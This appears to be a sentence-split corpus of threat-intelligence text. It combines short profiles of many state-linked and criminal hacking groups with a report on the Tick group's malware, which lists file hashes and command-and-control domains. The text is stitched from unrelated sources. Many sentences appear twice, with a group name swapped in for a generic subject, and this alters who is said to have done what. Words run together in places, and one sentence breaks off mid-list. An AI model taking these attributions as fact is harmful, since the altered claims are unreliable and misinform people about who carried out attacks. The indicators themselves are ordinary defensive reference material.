APT38 is a financially-motivated threat group that is backed by the North Korean regime .
The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014 .
 APT3 : Gothic Panda , Pirpi , UPS Team , Buckeye , Threat Group-0110 , TG-0110 .
APT3 is a China based threat group that researchers have attributed to China's Ministry of StateSecurity .
This group is responsible for the campaigns known as Operation Clandestine Fox , Operation Clandestine Wolf , and Operation Double Tap .
As of June 2015 , the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong .
MITRE has also developed an APT3 Adversary Emulation Plan .
APT30 is a threat group suspected to be associated with the Chinese government .
While Naikon shares some characteristics with APT30 , the two groups do not appear to be exact matches .
APT32 : SeaLotus , OceanLotus , APT-C-00 .
APT32 is a threat group that has been active since at least 2014 .
The group has targeted multiple private sector industries as well as with foreign governments , dissidents , and journalists with a strong focus on Southeast Asian countries like Vietnam , the Philippines , Laos , and Cambodia .
They have extensively used strategic web compromises to compromise victims .
The group is believed to be Vietnam based .
FIN7 : Carbanak Group .
FIN7 is a financially-motivated threat group that has primarily targeted the U.S. retail , restaurant , and hospitality sectors since mid-2015 .
They often use point-of-sale malware .
A portion of FIN7 was run out of a front company called Combi Security .
FIN7 is sometimes referred to as Carbanak Group , but these appear to be two groups using the same Carbanak malware and are therefore tracked separately .
FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail , restaurant , and hospitality industries .
Gallmaker is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017 .
The group has mainly targeted victims in the defense , military , and government sectors .
DarkHydrus  is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016 .
The group heavily leverages open-source tools and custom payloads for carrying out attacks .
Deep Panda : Shell Crew , WebMasters , KungFu Kittens , PinkPanther , Black Vine .
Deep Panda is a suspected Chinese threat group known to target many industries , including government , defense , financial , and telecommunications .
The intrusion into healthcare company Anthem has been attributed to Deep Panda .
This group is also known as Shell Crew , WebMasters , KungFu Kittens , and PinkPanther .
Deep Panda appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion .
Some analysts track Deep Pandaas the same group , but it is unclear from open source information if the groups are the same .
Dragonfly : Energetic Bear .
Dragonfly  is a cyber espionage group that has been active since at least 2011 .
They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013 .
They have also targeted companies related to industrial control systems .
A similar group emerged in 2015 and was identified by SymantecDragonfly 2.0 .
There is debate over the extent of the overlapDragonfly 2.0 , but there is sufficient evidence to lead to these being tracked as two separate groups .
Dragonfly 2.0 : Berserk Bear .
Dragonfly 2.0 is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016 .
There is debate over the extent of overlapDragonfly , but there is sufficient evidence to lead to these being tracked as two separate groups .
DragonOK is a threat group that has targeted Japanese organizations with phishing emails .
Due to overlapping TTPs , including similar custom toolsDragonOK is thought to have a direct or indirect relationship with the threat group Moafee .
It is known to use a variety of malware , including Sysget / HelloBridge , PlugX , PoisonIvy , FormerFirstRat , NFlog , and NewCT .
Dust Storm is a threat group that has targeted multiple industries in Japan , South Korea , the United States , Europe , and several Southeast Asian countries .
CopyKittens  is an Iranian cyber espionage group that has been operating since at least 2013 .
It has targeted countries including Israel , Saudi Arabia , Turkey , the U.S. , Jordan , and Germany .
Tick Group Continues Attacks .
The " Tick " group has conducted cyber espionage attacks against organizations in the Republic of Korea and Japan for several years .
The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries .
The group is known to use custom malware called Daserf , but also employs multiple commodity and custom tools , exploit vulnerabilities , and use social engineering techniques .
With multiple tools and anonymous infrastructure , they are running longstanding and persistent attack campaigns .
We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years .
Symantec was first to publicly report on Tick , followed by LAC in 2016 .
These reports discussed the group ’s malware , Daserf ( a.k.a Muirim or Nioupale ) and some additional downloader programs .
Though Daserf wasn’t a popular attack tool at the time of publishing the two reports , it dates back to at least 2011 .
Using AutoFocus , we were able to identify the link among Daserf and two other threats , 9002 and Invader .
These threats shared infrastructure between July 2012 and April 2013 .
Invader ( a.k.a Kickesgo ) is a backdoor that injects its main code into a legitimate process , such as explorer.exe , and has following functions :Logs keystrokes and mouse movement Captures screenshots Opens cmd.exe shell Enumerates processes Executes programs Removes itself Enumerates all opening TCP and UDP ports .
9002 is the infamous RAT frequently seen in targeted attacks reported by various security vendors , including Palo Alto Networks .
Interestingly , the C2 servers linking 9002 to Daserf were described in the report of an Adobe Flash Zero-day attack from FireEye in 2013 .
These domains were registered through the privacy protection services in 2008 and 2011 .
krjregh.sacreeflame.com lywja.healthsvsolu.com .
Though we don’t know the targets of these malware samples at the time of writing this article , we suspect the same group is behind these threats for a number of reasons .
The samples of Daserf that shared infrastructure were submitted to VirusTotal only from Japan multiple times in 2013 .
As noted in a later section , another Invader sample shared different C2 servers with Daserf .
Symantec reported that Tick exploited additional Adobe Flash and Microsoft Office vulnerabilities .
SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints .
Therefore , Tick or their digital quartermaster is capable of deploying new and unique exploits .
In July 2016 , we identified a compromised website in Japan that was hosting a Daserf variant .
The web server was also a C2 server for another threat , Minzen ( a.k.a , XXMM , Wali , or ShadowWali ) .
The threat often uses compromised web servers in Japan and the Republic of Korea .
As Kaspersky and Cybereason recently posted , Minzen is a modular malware that has both 32-bit and 64-bit components in its resource section or configuration data in its body .
One of the Minzen samples ( SHA256 : 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2 ) found in the Republic of Korea in December 2016 installs simple backdoor module as a final payload on a compromised computer .
It opens a TCP port and receives commands from a remote attacker .
According to the debug path in the body , the author of the tool called it “ NamelessHdoor , ” and its internal version is identified as “ V1.5. ”The payload is based on “ Nameless Backdoor ” which has been publicly available for more than ten years .
The oldest code we could identify was hosted on a famous Chinese source code sharing site since 2005 .
The author of the NamelessHdoor appears to have created additional versions of the Nameless Backdoor by removing unnecessary functions , and added open-source DLL injection code from ReflectiveDLLLoader .
There is minimal public information regarding the Nameless Backdoor , except for the interesting report from Cyphort in 2015 .
The researcher of the company analyzed multiple threats , including Invader , Nioupale (Daserf ) and Hdoor found in an attack against an Asian financial institution .
We examined the sample described in the report as Hdoor and found it ’s a previous version of the NamelessHdoor we discovered in the Minzen sample , but without support for DLL injection .
It turned out that the DLL files we found are a custom variant of Gh0st RAT , and the EXE files download the RAT .
Since the source code is publicly available , Gh0st RAT has been used by multiple actors for years .
The domain , softfix.co.kr was registered in 2014 .
One of subdomains , news.softfix.co.kr was the C2 server of Daserf ( 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423 ) .
Another subdomain , bbs.softfix.co.kr was hosted on same IP address as bbs.gokickes.com , which was reported as the C2 server of Invader by Cyphort .
We also identified www.gokickes.com was the C2 of another Invader variant ( 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb ) .
In addition to the infrastructure , the attacker also shared code .
The Gh0st downloaders employ simple substitution ciphers for hiding strings .
We also identified another malware family , HomamDownloader , sharing some servers with Daserf .
An overview of the connections among these threats is discussed in below .
HomamDownloader is a small downloader program with minimal interesting characteristics from a technical point of view .
HomamDownloader was discovered to be delivered by Tick via a spearphishing email .
The adversary crafted credible email and attachment after understanding the targets and their behavior .
The email below was sent from a personal email account with a subject line of “ New Year Wishes on January 1st ” .
The message asked the recipient to rename the attachment extension from “ ._X_ ” to “ .exe ” and opening it with the password specified in the email to view the Happy New Year eCard in the correct and polite language .
In addition to the social engineering email technique , the attacker also employs a trick to the attachment .
The actor embedded malicious code to a resource section of the legitimate SFX file created by a file encryption tool , and modified the entry point of the program for jumping to the malicious code soon after the SFX program starts .
The malicious code drops HomamDownloader , then jumps back to the regular flow in the CODE section , which in turn asks the user the password and decrypts the file .
Therefore , once a user executes the attachment and sees the password dialog on SFX , the downloader dropped by the malicious code starts working even if the user chooses the Cancel on the password window .
Should the user become aware of the infection later , it may be difficult to find the cause due to the fact that the original embedded file contained within the SFX is benign .
Tick was spotted last year , but they are actively and silently attacking various organizations in South Korea and Japan for a number of years .
While some of the group ’s tools , tactics , and procedures ( TTPs ) have been covered within this article , it is likely there is much that still remains uncovered .
Daserf : 04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a .
Daserf : f8458a0711653071bf59a3153293771a6fb5d1de9af7ea814de58f473cba9d06 .
Daserf : e8edde4519763bb6669ba99e33b4803a7655805b8c3475b49af0a49913577e51 .
Daserf : 21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd .
Daserf : 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423 .
Invader : 0df20ccd074b722d5fe1358b329c7bdebcd7e3902a1ca4ca8d5a98cc5ce4c287 .
Invader : e9574627349aeb7dd7f5b9f9c5ede7faa06511d7fdf98804526ca1b2e7ce127e .
Invader : 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb .
Minzen : 797d9c00022eaa2f86ddc9374f60d7ad92128ca07204b3e2fe791c08da9ce2b1 .
Minzen : 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2 .
Minzen : 26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82 .
NamelessHdoor : dfc8a6da93481e9dab767c8b42e2ffbcd08fb813123c91b723a6e6d70196636f .
Gh0stRAt Downloader : ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974 .
Gh0stRAt Downloader : e34f4a9c598ad3bb243cb39969fb9509427ff9c08e63e8811ad26b72af046f0c .
Custom Gh0st : 8e5a0a5f733f62712b840e7f5051a2bd68508ea207e582a190c8947a06e26f40 .
Datper : 7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849 .
HomamDownloader : a624d2cd6dee3b6150df3ca61ee0f992e2d6b08b3107f5b00f8bf8bcfe07ebe7 .
C2 : lywjrea.gmarketshop.net .
C2 : krjregh.sacreeflame.com .
C2 : psfir.sacreeflame.com .
C2 : lywja.healthsvsolu.com .
C2 : phot.healthsvsolu.com .
C2 : blog.softfix.co.kr .
C2 : news.softfix.co.kr .
C2 : www.gokickes.com .
C2 : log.gokickes.com .
The group is responsible for the campaign known as Operation Wilted Tulip .
Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security ( GDGS ) and has operated since at least 2012 .
Darkhotel  is a threat group that has been active since at least 2004 .
The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks .
The actors have also conducted spearphishing .
Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014 .
They appear to focus on targeting individuals of interest to Iran who work in academic research , human rights , and media , with most victims having been located in Iran , the US , Israel , and the UK .
Charming Kitten usually tries to access private email and Facebook accounts , and sometimes establishes a foothold on victim computers as a secondary objective .
The group 's TTPs overlap extensively with another groupMagic Hound , resulting in reporting that may not distinguish between the two groups' activities .
Cleaver : Threat Group 2889 , TG-2889 .
Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver .
Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 ( TG-2889 ) .
Cobalt Group : Cobalt Gang , Cobalt Spider .
Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions .
The group has conducted intrusions to steal money via targeting ATM systems , card processing , payment systems and SWIFT systems .
Cobalt Group has mainly targeted banks in Eastern Europe , Central Asia , and Southeast Asia .
One of the alleged leaders was arrested in Spain in early 2018 , but the group still appears to be active .
The group has been known to target organizations in order to use their access to then compromise additional victims .
Reporting indicates there may be linksCobalt Group and both theCarbanak and theTaidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government .
TEMP.Veles ： XENOTIME .
TEMP.Veles is a Russia based threat group that has targeted critical infrastructure .
The group has been observed utilizing TRITON , a malware framework designed to manipulate industrial safety systems .
The White Company is a likely state-sponsored threat actor with advanced capabilities .
From 2017 through 2018 , the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan .
Molerats : Operation Molerats , Gaza Cybergang .
Molerats is a politically-motivated threat group that has been operating since 2012 .
The group 's victims have primarily been in the Middle East , Europe , and the United States .
MuddyWater : Seedworm , TEMP.Zagros .
MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations , and has also targeted European and North American nations .
The group 's victims are mainly in the telecommunications , government ( IT services ) , and oil sectors .
Activity from this group was previously linked to FIN7 , but the group is believed to be a distinct group possibly motivated by espionage .
Naikon is a threat group that has focused on targets around the South China Sea .
The group has been attributed to the Chinese People ’s Liberation Army ’s ( PLA ) Chengdu Military Region Second Technical Reconnaissance Bureau ( Military Unit Cover Designator 78020 ) .
While Naikon shares some characteristics with APT30 , the two groups do not appear to be exact matches .
APT39 : Chafer .
Iranian cyber espionage group that has been active since at least 2014 .
They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran 's national priorities .
APT41 is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity .
APT41 has been active since as early as 2012 .
The group has been observed targeting healthcare , telecom , technology , and video game industries in 14 countries .
Axiom : Group72 .
Axiom is a cyber espionage group suspected to be associated with the Chinese government .
It is responsible for the Operation SMN campaign .
Though both this groupWinnti Group use theWinnti , the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting .
Suckfly is a China based threat group that has been active since at least 2014 .
TA459 is a threat group believed to operate out of China that has targeted countries including Russia , Belarus , Mongolia , and others .
TA505 is a financially motivated threat group that has been active since at least 2014 .
The group is known for frequently changing malware and driving global trends in criminal malware distribution .
Magic Hound : Rocket Kitten , Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish , Newscaster , Cobalt Gypsy , APT35 .
Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014 .
The group behind the campaign has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
 menuPass : Stone Panda , APT10 , Red Apollo , CVNX , HOGFISH .
 menuPass is a threat group that appears to originate from China and has been active since approximately 2009 .
The group has targeted healthcare , defense , aerospace , and government sectors , and has targeted Japanese victims since at least 2014 .
In 2016 and 2017 , the group targeted managed IT service providers , manufacturing and mining companies , and a university .
Moafee is a threat group that appears to operate from the Guandong Province of China .
Due to overlapping TTPs , including similar custom tools , Moafee is thought to have a direct or indirect relationship with the threat group DragonOK .
SilverTerrier is a Nigerian threat group that has been seen active since 2014 .
SilverTerrier mainly targets organizations in high technology , higher education , and manufacturing .
Operation Soft Cell is a group that is reportedly affiliated with China and is likely state-sponsored .
The group has operated since at least 2012 and has compromised high-profile telecommunications networks .
Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia , particularly government entities , since at least 2015 .
Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan , the Philippines , and Hong Kong .
Tropic Trooper focuses on targeting government , healthcare , transportation , and high-tech industries and has been active since 2011 .
Turla : Waterbug , WhiteBear , VENOMOUS BEAR , Snake , Krypton .
Turla is a Russian-based threat group that has infected victims in over 45 countries , spanning a range of industries including government , embassies , military , education , research and pharmaceutical companies since 2004 .
Heightened activity was seen in mid-2015 .
Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware .
Turla ’s espionage platform is mainly used against Windows machines , but has also been seen used against macOS and Linux machines .
Winnti Group : Blackfly .
Winnti Group is a threat group with Chinese origins that has been active since at least 2010 .
The group has heavily targeted the gaming industry , but it has also expanded the scope of its targeting .
Some reporting suggests a number of other groups , including Axiom , APT17 , and Ke3chang , are closely linked to Winnti Group .
Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists , activists , and dissidents since at least 2012 .
Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates ( UAE ) government , but that has not been confirmed .
Stolen Pencil is a threat group likely originating from DPRK that has been active since at least May 2018 .
The group appears to have targeted academic institutions , but its motives remain unclear .
Strider : ProjectSauron .
 Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia , China , Sweden , Belgium , Iran , and Rwanda .
Putter Panda : APT2 , MSUpdater .
Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA ’s 3rd General Staff Department ( GSD ) .
Rancor is a threat group that has led targeted campaigns against the South East Asia region .
Rancor uses politically-motivated lures to entice victims to open malicious documents .
RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries .
The group uses a Trojan by the same name ( RTM ) .
FIN4 is a financially motivated threat group that has targeted confidential information related to the public financial market , particularly regarding healthcare and pharmaceutical companies , since at least 2013 .
FIN4 is unique in that they do not infect victims with typical persistent malware , but rather they focus on capturing credentials authorized to access email and other non-public correspondence .
FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information .
The group has been active since at least 2008 and has targeted the restaurant , gaming , and hotel industries .
The group is made up of actors who likely speak Russian .
FIN6 : ITG08 .
FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces .
This group has aggressively targeted and compromised point of sale ( PoS ) systems in the hospitality and retail sectors .
Leviathan : TEMP.Jumper , APT40 , TEMP.Periscope .
Leviathan is a cyber espionage group that has been active since at least 2013 .
The group generally targets defense and government organizations , but has also targeted a range of industries including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities in the United States , Western Europe , and along the South China Sea .
Lotus Blossom : DRAGONFISH , Spring Dragon .
Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia .
Machete : El Machete .
Machete is a group that has been active since at least 2010 , targeting high-profile government entities in Latin American countries .
admin@338 is a China based cyber threat group .
It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial , economic , and trade policy , typically using publicly available RATs such as PoisonIvy , as well as some non-public backdoors .
APT1 : Comment Crew , Comment Group , Comment Panda .
APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People ’s Liberation Army ( PLA ) General Staff Department ’s ( GSD ) 3rd Department , commonly known by its Military Unit Cover Designator ( MUCD ) as Unit 61398 .
APT12 : IXESHE , DynCalc , Numbered Panda , DNSCALC .
APT12 is a threat group that has been attributed to China .
The group has targeted a variety of victims including but not limited to media outlets , high-tech companies , and multiple governments .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
Multiple China-based cyber threat groups have targeted international media organizations in the past .
The admin@338 has targeted international media organizations in the past .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
We observed the admin@338 upload a second stage malware , known as BUBBLEWRAP ( also known as Backdoor.APT.FakeWinHTTPHelper ) to their Dropbox account along with the following command .
We have previously observed the admin@338 group use BUBBLEWRAP .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
An APT gang linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
In August 2013 , FireEye reported that admin@338 had been using the Poison Ivy RAT in its operations .
In March 2014 , the admin@338 leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
In March 2014 , the group leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
The admin@338 's Dropbox accounts have also been found to contain a different backdoor dubbed BUBBLEWRAP .
Researchers have pointed out that it is not uncommon for China-based threat groups to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
Researchers have pointed out that it is not uncommon for admin@338 to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
FireEye analysts documented the admin@338 group 's activities in a previous paper titled Poison Ivy : Assessing Damage and Extracting Intelligence paper .
The spear-phishing campaign against Asian entities isn't isolated , the admin@338 also started another attack against the US-based think tank on 14th March .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China 's cyber threat actors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
The simplest conclusion based on these facts is that APT1 is operating in China , and most likely in Shanghai .
These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT .
Given the mission , resourcing , and location of PLA Unit 61398 , we conclude that PLA Unit 61398 is APT1 .
APT1 were a highly prolific cyber-attack group operating out of China .
APT1 is a China-based cyber-espionage group , active since mid-2006 .
APT12 's targets are consistent with larger People 's Republic of China ( PRC ) goals .
Since the release of the Arbor blog post , FireEye has observed APT12 use a modified backdoor that we call HIGHTIDE .
However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .
From October 2012 to May 2014 , FireEye observed APT12 utilizing RIPTIDE , that communicates via HTTP to a hard-coded command and control ( C2 ) server .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
A China-based cyber threat group , which FireEye tracks as an uncategorized advanced persistent threat ( APT ) group and other researchers refer to as admin@338 , may have conducted the activity .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
About four months after The New York Times publicized an attack on its network , the APT12 behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
With this in mind , this week we are providing some indicators for a China based adversary who we crypt as " NUMBERED PANDA " Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
The new campaigns mark the first significant stirrings from the APT12 since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16 .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan-based media organizations continues to be a priority for China-based APT16 .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
APT17 was embedding the encoded CnC IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a " dead drop resolver " .
APT17 , also known as DeputyDog , is a China-based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
FireEye has monitored APT17 's use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the CnC communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates APT17 's evolving use of public websites to hide in plain sight .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
The APT18 then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system .
The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism .
These URIs result in the download of an installer , which creates a PE of the malware typically known as HTTPBrowser , but called Token Control by the Wekby group themselves ( based upon the PDB strings found within many of the samples ) .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 malware , in particular the family of modular backdoors that we call CHOPSTICK , indicates a formal code development environment .
However , three themes in APT28 's targeting clearly reflects LOCs of specific interest to an Eastern European government , most likely the Russian government .
We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
APT28 's malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours , which suggests that the Russian government is APT28 's sponsor .
We believe that APT28 's targeting of the MOD aligns with Russian threat perceptions .
We assess that APT28 is most likely sponsored by the Russian government .
Given the available data , we assess that APT28 's work is sponsored by the Russian government .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
The targets of TG-4127 include military , government and defense sectors .
Some of APT28 's more commonly used tools are the SOURFACE downloader , its second stage backdoor EVILTOSS , and a modular family of implants that we call CHOPSTICK .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian government .
Our visibility into the operations of APT28 - a group we believe the Russian government sponsors - has given us insight into some of the government 's targets , as well as its objectives and the activities designed to further them .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
After compromising a political organization , APT28 will steal internal data .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye 's long held public assessment that the Russian government sponsors APT28 .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations , and characterized APT28 's activity as aligning with the Russian government 's strategic intelligence requirements .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian government 's strategic intelligence requirements .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
Our investigation of APT28 's compromise of WADA 's network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian government .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
For full details , please reference our 2014 report , APT28 : A Window into Russia 's Cyber Espionage Operations .
